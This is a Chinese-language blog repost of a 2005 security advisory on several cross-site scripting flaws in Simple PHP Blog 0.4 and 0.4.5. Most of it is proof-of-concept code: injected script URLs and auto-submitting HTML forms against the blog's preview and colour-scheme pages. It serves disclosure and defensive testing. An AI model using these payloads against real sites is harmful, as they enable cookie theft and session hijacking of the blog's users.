2005-11-11 19:36:24 by: h4x0r

Simple PHP Blog漏洞测试代码

Font Size: Large | Medium | Small
受影响系统:
Simple PHP Blog Simple PHP Blog 0.4.5
Simple PHP Blog Simple PHP Blog 0.4
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 15283

Simple PHP Blog是一个采用PHP语言编写的开放源码的免费单用户Blog程序。

Simple PHP Blog中存在多个跨站脚本漏洞,如下:

1) preview_cgi.php

preview_cgi.php的第126行没有经过充分过滤便直接向浏览器显示$entry变量。登录后可通过以下URL测试:

http://your-server/path-to-sphpblog/preview_cgi.php?entry=foo"><script>alert(document.cookie)</script>

2) preview_cgi.php

preview_cgi.php文件的第129行没有经过充分过滤便直接向浏览器显示$temp_subject变量。登录后可通过以下页面测试:

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

类似的漏洞也影响preview_cgi.php第158行:

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

3) preview_static_cgi.php

preview_static_cgi.php中存在4个类似于preview_cgi.php中的漏洞:

- 73行$entry变量:

http://localhost/~enji/path-to-sphpblog/preview_static_cgi.php?entry=foo"><script>alert(document.cookie)</script>

- 76行$temp_subject变量:

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

- 158行$temp_text变量:

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

- 108行,如果没有设置$_GET['entry']的话将$temp_file_name变量设置为$_POST['file_name'],否则设置为$entry(在这种情况下请见73行的漏洞):

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

4) colors.php

colors.php文件187行的$preset_name和$result变量存在跨站脚本漏洞:

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>



<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

远程攻击者可以利用这些漏洞在用户浏览器中执行任意代码。

<*来源:Nenad Jovanovic (enji@infosys.tuwien.ac.at)

链接:http://www.seclab.tuwien.ac.at/advisories/TUVSA-0511-001.txt
*>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Simple PHP Blog
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.simplephpblog.com/index.php
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=84

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code